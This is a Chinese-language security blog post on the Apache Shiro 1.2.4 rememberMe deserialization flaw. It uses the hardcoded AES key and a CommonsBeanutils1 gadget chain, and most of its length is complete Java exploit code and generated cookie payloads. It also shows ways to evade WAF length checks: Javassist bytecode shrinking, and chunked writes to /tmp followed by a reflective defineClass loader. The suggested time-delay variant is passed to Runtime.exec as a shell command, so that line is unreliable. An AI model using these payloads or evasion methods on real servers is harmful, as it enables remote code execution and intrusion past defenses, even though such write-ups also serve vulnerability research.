Shiro 中 Cookie 长度过长 bypass

小吐槽

哈哈,开始之前笔者先来骂下自己,笔者在以前投递过春招和秋招的简历,但是当时投了都石沉大海,那时候就很纳闷为什么参加了若干攻防演练和 CTF 竞赛还有做的一些网安小项目还找不到工作,直到现在我才知道,我都是赶在秋招和春招结束后才投的,也就是说,我总体投递的一个时间线如下

1
2
3
4
5
6
2024 年 2 月 ~ 4 月春招
笔者 2024 年 5 月下旬投递简历
2024 年 9 月 ~ 10 月秋招
笔者 2024 年 11 月下旬投递简历
2025 年 2 月 ~ 4 月春招开始
笔者 2025 年 6 月下旬投递简历

闹麻了都,再加上以前做钓鱼的时候忘记改 BOSS 直聘和一些软件的在线简历,导致我以前的在线简历成下面这个样子

image-20260302223800472

难怪 HR 和一些技术看了直接 pass 我🥵,实在是太难绷了啊

image-20260302224011557

言归正传,我们来思考一下 Shiro Cookie 长度太长的话要怎么 bypass 一些在线 WAF 长度检测,首先准备以下环境

环境

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<dependencies>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>1.7.30</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
</dependencies>

LoginServlet.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.study.servlet;

import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/login")
public class LoginServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String user = req.getParameter("username");
String pass = req.getParameter("password");
String rememberMe = req.getParameter("rememberMe");
UsernamePasswordToken token = new UsernamePasswordToken(user, pass);
if (rememberMe != null && rememberMe.equals("on")) {
token.setRememberMe(true);
}
Subject subject = SecurityUtils.getSubject();
try {
subject.login(token);
resp.getWriter().println("Login Success! Welcome, " + user);
} catch (Exception e) {
resp.getWriter().println("Login Failed: " + e.getMessage());
}
}
}

shiro.ini

1
2
3
4
5
6
[main]
# 仅仅保留最基本的定义
[users]
admin = 123456
[urls]
/** = anon

常规手工攻击姿势

一般 Shiro 打法很简单,我这里选的版本为 shiro-core 1.2.4,高版本的后续再说,其打法总结就是 Apache Shiro 的记住我 rememberMe 功能在处理 Cookie 时,会对这个字段进行 base64 解码,然后 AES 解密,再然后反序列化,也就是说我们只要获得到了 AES 加密的密钥,那么就可以构造任意的反序列化对象,然后进行加密发送,在 1.2.4 版本,Shiro 的 key 都是硬编码的,这个大家都知道,你可以在 org.apache.shiro.mgt.AbstractRememberMeManager#DEFAULT_CIPHER_KEY_BYTES 找到其 key 为 kPH+bIxk5D2deZiIxcaaaA==

image-20260302224603194

然后默认情况下 Shiro 本身是依赖了 Commons-Beanutils 这个库,不过再打的时候可能会遇到一些版本与本地环境不一致,导致反序列化的时候出现 serialVersionUID 不匹配的问题

image-20260302224850120

并且 Shiro 自带的 CB 库不包含完整的 Commons-Collections,所以我们在打的时候部分依赖 CC 的链子会失效,那么解决方法就是确保本地的 CB 和 CC 库版本与 Shiro 环境中的版本是对应上的,例如我这里用的是 Commons-Beanutils 1.8.3Commons-Collections 3.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<dependencies>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>1.7.30</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
</dependencies>

然后接下来就是手动攻击了,我们得先编写一个恶意类,比如 calculator.java,继承 AbstractTranslet,然后写一个构造函数执行

1
2
3
4
5
6
7
8
9
10
11
12
13
package exp;
import java.io.IOException;
public class calculator extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
public calculator() {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (Exception e) {}
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM d, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] s) {}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM d, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator di, com.sun.org.apache.xml.internal.serializer.SerializationHandler s) {}
}

接着编写 exp 来进行利用,比如我这里通过 CommonsBeanutils1 来进行利用,具体 sink 就是 BeanComparator.compare() $\rightarrow$ PropertyUtils.getProperty() $\rightarrow$ TemplatesImpl.getOutputProperties() $\rightarrow$ TemplatesImpl.newTransformer() $\rightarrow$ TemplatesImpl.getTransletInstance() $\rightarrow$ Runtime.exec()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class exp {
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static Object getPayload() throws Exception {
byte[] code = Files.readAllBytes(Paths.get("/Users/icecliffs/Documents/Coding/java_shiro/target/classes/exp/Calculator.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "Pwned");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null);
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
return queue;
}
public static void main(String[] args) throws Exception {
Object payloadObject = getPayload();
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(baos);
oos.writeObject(payloadObject);
oos.close();
byte[] payloadBytes = baos.toByteArray();
String key = "kPH+bIxk5D2deZiIxcaaaA==";
byte[] keyBytes = Base64.decode(key);
AesCipherService aes = new AesCipherService();
ByteSource ciphertext = aes.encrypt(payloadBytes, keyBytes);
System.out.println(ciphertext.toString());
}
}

然后接下来运行脚本,我们会得到

image-20260302225738232

可以看见是非常的长啊(lens:2540)

1
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

接着将构造好的恶意对象经加密后放入 rememberMe Cookie 中,当服务器解密并进行 反序列化 时,PriorityQueue(入口点)在排序时触发了 BeanComparator(中继点),进而通过反射调用了 TemplatesImplgetOutputProperties() 方法,最终导致预埋在 _bytecodes 字段中的恶意类被实例化,从而在服务器上执行任意命令,至此最简单的 Shiro 漏洞复现到此结束

image-20260302225826923

那么接下来就是要解决 Cookie 过长的问题了,比如可以通过 javassist 或 分块传输来缩短 Cookie 长度

使用 Javassist 缩短长度

由于我们最终目的是为了缩短长度,所以可以用 javassist 来将写死的恶意类通过动态构造实现缩短长度,比如上面写的 calculator.java 这个是完全写死的,无法恶意构造,所以需要动态构造一个字节码

首先引入 javassist 依赖

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>

然后编写一个 javassist_poc.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package exp;
import javassist.ClassPool;
import javassist.CtClass;
public class javassist_poc {
public static byte[] generateDynamicClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
// 创建一个极简类名,减少字节码体积
CtClass clazz = pool.makeClass("ice.A" + System.nanoTime());
// 必须继承 AbstractTranslet
CtClass superClazz = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
clazz.setSuperclass(superClazz);
// 如果是不出网回显,这里可以换成延时代码:Thread.sleep(5000);
String src = "java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");";
clazz.makeClassInitializer().insertBefore(src);
byte[] bytecodes = clazz.toBytecode();
clazz.detach();
return bytecodes;
}
}

然后修改上面的 exp.java,动态生成字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class javassist_exp {
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static Object getPayload() throws Exception {
byte[] code = javassist_poc.generateDynamicClass("open -a Calculator");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "t"); // 短一点
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 构造 CB1 链 (使用 BeanComparator)
// 1.8.3 的 BeanComparator 默认使用 ComparableComparator,体积最小
final BeanComparator comparator = new BeanComparator(null);
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
return queue;
}
public static void main(String[] args) throws Exception {
Object payloadObject = getPayload();
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(baos);
oos.writeObject(payloadObject);
oos.close();
byte[] payloadBytes = baos.toByteArray();
String key = "kPH+bIxk5D2deZiIxcaaaA==";
byte[] keyBytes = Base64.decode(key);
AesCipherService aes = new AesCipherService();
ByteSource ciphertext = aes.encrypt(payloadBytes, keyBytes);
System.out.println(ciphertext.toString());
}
}

接着运行生成,会发现已经小了很多了

image-20260302230716907

1
9JRpOrsN6BC+7fiyilY7o4otMaNdpLUeJ9EnZ1VU3MYEErySYueuaIoxmO/JHEjUbepNiH9DZwDuPGr42JUCOUC8MBzF4tX8cnPgatQCCXOMjiQ6ONpWlkVywktrhnoVx5TsE40dA+QjxMBNvdbqPHnU1S1q0EPfVL5xgBZmiHvYV/TWc6LdjZdBT7x/Q22YGJ0J0iq6d5QlthCFzvSMwadM8LEaSgAZX03hxDAq8RlHzKbQJw6zb+Ygxheu95tHZkj4gGuGhmqiDhRzuZI/F+IN57aSpiXZc5QyBHD0e1bxD24gw6COfQlaFuz4uZLyMdg8Ci8UAVdEzXL+c9KBApeuepqjnR9Uhi1LptUL4pWEtMoRfQQP4molo+ET7JtfY9NQV7loZP+dG7CFVC/AkGiIfbhqPFH7K0OpuJKX9a/eRfenV16Q8VeLQgbJKDI6pyCSYCtUCdGuhHod2mUEgCyGAXOQOkj/nqZ1WqVIwh9wHndTEEHFihIz220kYzNE/+X+qGldOELSVDx6Jmm89ThTT3PqRzmPIMPbnVTZ+0EQKBlUaWwFfbo81zNXYS4uhnD0lUKYew6arFokkCUH1uNe4RGgwYCBm7pXh3q281AZJ/DEEggzu+khpXc/sDNjeIwLdRzheeIrHsYJ+BgTahycfViHFAa8OLchOABvLArrp+OxCdcwMLQdT9itfFdCPpsgURcMmaXoc0mfAfqfvuKyM1GWAXlQUXtnJjKgEp4IrpvulQRHouYocYu5mzrpYyM8+mC65Q3v0MWOW4xIzGWr0nICiuju77y2lAUJOuZt337UvQVQhr3PozDPlJCqlRWsjWFXv8GdriRhC5Vms0LVdpRbiQjXIGCAqat9bRYvtNOeLxnUwLO4DhjXs2NsH2YCw3pPduX3egvfiJmQktBxJvUHC+cd48yVy9Uiv9MCjTl88fbMEPNJN6vx7k2vulBlKn0Di48K0FfDZlZgUm6JO4fS12QCdvMJp1nVLSBbuYr4Fm8SkuSPexr0NnY+XOfCAKM16CilaMga4PtVRDO6LfwBzM0DxXRkVUTiBVS/F+O+znSqgkw9B6en/C4+yJHbxGNP3qO56iLbIp/YiCkZiQ+hclXZRgk1hVX3RCkLHiqd/JNI+RtrOwnBdn1KFUQ03Q2MMzHVuTxi9If2vLWVHhJfm+MPEjExIb9UTm1U9v8x2/6KmbwHxqLv1GjotXjQvTYOGywlzd22z5GtihzG9YcC2/MECzzrSQGzAkeZT/mCM6UfRlVe647PRCG0QSGgVBxGt0M4gB6qiyTXG1+TdHFXM45FCgXxFjq9SXh3I4cy5kQNs8Ngl+XPp9785k5QE+Lt7QnMsjDDG9y/sYqEVAmfSgrSw9Gno7TFfdnQa84RoRSNxNSGdvb63zeJmvyLdvVKbAOozPYDS7LHQg==

打打看,发现没毛病

image-20260302230801862

那还有更短的方案吗?还真有,但是利用条件非常苛刻,没有研究的必要,总结一下代码和利用思路吧,其实本质上就是省去了恶意类的读取,直接用 javassist 来进行动态生成,生成的类不含 LineNumberTable 等调试信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class javassist_mini_exp {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getUltraShortBytecode(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("A");
cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");");
byte[] bytes = cc.toBytecode();
cc.detach();
return bytes;
}
public static void main(String[] args) throws Exception {
byte[] code = getUltraShortBytecode("open -a Calculator");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "a"); // 极简属性名
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null);
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
ByteArrayOutputStream baos = new ByteArrayOutputStream();
new ObjectOutputStream(baos).writeObject(queue);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
AesCipherService aes = new AesCipherService();
byte[] encrypted = aes.encrypt(baos.toByteArray(), Base64.decode(key)).getBytes();
System.out.println(Base64.encodeToString(encrypted));
}
}

如果你想探测不出网的话,可以把 getUltraShortBytecode 里的命令改成时间延迟(Time-based Sleep)

1
byte[] code = getUltraShortBytecode("Thread.sleep(5000);");

使用分块传输缩短长度

或者我们可以通过 Block Transmission 分块传输来缩短长度,这个在实战中可能非常有效,因为它能绕过 Web 容器对单个 HTTP Header 长度(通常为 8KB)的限制,同时规避了一些 WAF 对超长 Payload 的正则检测,核心逻辑就是利用 java.io.FileOutputStreamappend 模式,将多段 Base64 或原始字节分批写入服务器临时目录/tmp ,最后再写一个 Payload 去读取并执行这个文件

其实这个思路在早年做 CS 脱裤的时候也是分块传输的逻辑,都差不多

  1. 初始化/追加阶段:发送 $N$ 个请求,每个请求带有一小段 Base64 字符串,追加写入服务器文件

  2. 执行阶段:发送最后一个请求,读取该文件,Base64 解码后动态加载执行

编写一个 chunk_exp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class chunk_exp {
public static byte[] getAppendPayload(String path, String b64Content) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Append" + System.nanoTime());
cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
// 核心追加逻辑
String cmd = "try {" +
" String p = \"" + path + "\";" +
" String c = \"" + b64Content + "\";" +
" java.io.FileOutputStream fos = new java.io.FileOutputStream(p, true);" +
" fos.write(c.getBytes());" +
" fos.close();" +
"} catch (Exception e) {}";

cc.makeClassInitializer().insertBefore(cmd);
return cc.toBytecode();
}
public static String makeCookie(byte[] code) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "a");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null);
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(1); queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
ByteArrayOutputStream baos = new ByteArrayOutputStream();
new ObjectOutputStream(baos).writeObject(queue);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
return Base64.encodeToString(new AesCipherService().encrypt(baos.toByteArray(), Base64.decode(key)).getBytes());
}
private static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, val);
}
public static void main(String[] args) throws Exception {
String targetPath = "/tmp/payload.txt";
String part1 = "hellofuck";
byte[] code = getAppendPayload(targetPath, part1);
System.out.println("1: " + makeCookie(code));
}
}

运行后保存发送到服务器

image-20260302232029052

会发现成功写进去

image-20260302232130010

接着就是分块传输这个 payload,步骤太长这里跳过了,然后修改加载这个 payload

1
2
3
4
5
6
7
8
9
10
11
12
String loaderCmd = "try {" +
" java.io.File f = new java.io.File(\"" + path + "\");" +
" byte[] b = new byte[(int)f.length()];" +
" java.io.FileInputStream fis = new java.io.FileInputStream(f);" +
" fis.read(b);" +
" fis.close();" +
" byte[] decoded = org.apache.shiro.codec.Base64.decode(new String(b));" +
" java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});" +
" m.setAccessible(true);" +
" Object[] args = new Object[]{decoded, new Integer(0), new Integer(decoded.length)};" +
" m.invoke(Thread.currentThread().getContextClassLoader(), args);" +
"} catch (Exception e) { }";

最后完整的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package exp;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class chunk_exp {
public static byte[] getAppendPayload(String path, String b64Content) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("App" + System.nanoTime());
cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String cmd = "try {" +
" java.io.FileWriter fw = new java.io.FileWriter(\"" + path + "\", true);" +
" fw.write(\"" + b64Content + "\");" +
" fw.close();" +
"} catch (Exception e) {}";
cc.makeClassInitializer().insertBefore(cmd);
return cc.toBytecode();
}
public static byte[] getLoaderPayload(String path) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Lod" + System.nanoTime());
cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String loaderCmd = "try {" +
" java.io.File f = new java.io.File(\"" + path + "\");" +
" byte[] b = new byte[(int)f.length()];" +
" java.io.FileInputStream fis = new java.io.FileInputStream(f);" +
" fis.read(b);" +
" fis.close();" +
" byte[] decoded = org.apache.shiro.codec.Base64.decode(new String(b));" +
" java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});" +
" m.setAccessible(true);" +
" Object[] args = new Object[]{decoded, new Integer(0), new Integer(decoded.length)};" +
" m.invoke(Thread.currentThread().getContextClassLoader(), args);" +
"} catch (Exception e) { }";
cc.makeClassInitializer().insertBefore(loaderCmd);
return cc.toBytecode();
}
public static String makeCookie(byte[] code) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "a");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null);
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(1); queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
ByteArrayOutputStream baos = new ByteArrayOutputStream();
new ObjectOutputStream(baos).writeObject(queue);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
return Base64.encodeToString(new AesCipherService().encrypt(baos.toByteArray(), Base64.decode(key)).getBytes());
}
private static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, val);
}
public static void main(String[] args) throws Exception {
String targetPath = "/tmp/payload.txt";
String classPath = "/Users/icecliffs/Documents/Coding/java_shiro/target/classes/exp/calculator.class";
int chunkSize = 500; // 每段 Base64 的长度,建议 500-1000 左右
byte[] classBytes = Files.readAllBytes(Paths.get(classPath));
String fullBase64 = Base64.encodeToString(classBytes);
System.out.println("总 Base64 长度: " + fullBase64.length());
// 分块输出
int count = 0;
for (int i = 0; i < fullBase64.length(); i += chunkSize) {
int end = Math.min(i + chunkSize, fullBase64.length());
String part = fullBase64.substring(i, end);
byte[] appendCode = getAppendPayload(targetPath, part);
System.out.println("第 " + (++count) + " 段 Cookie: " + makeCookie(appendCode));
System.out.println("--------------------------------------------------");
}
byte[] loaderCode = getLoaderPayload(targetPath);
System.out.println(makeCookie(loaderCode));
}
}

跟着执行一遍就可以了

image-20260302232804648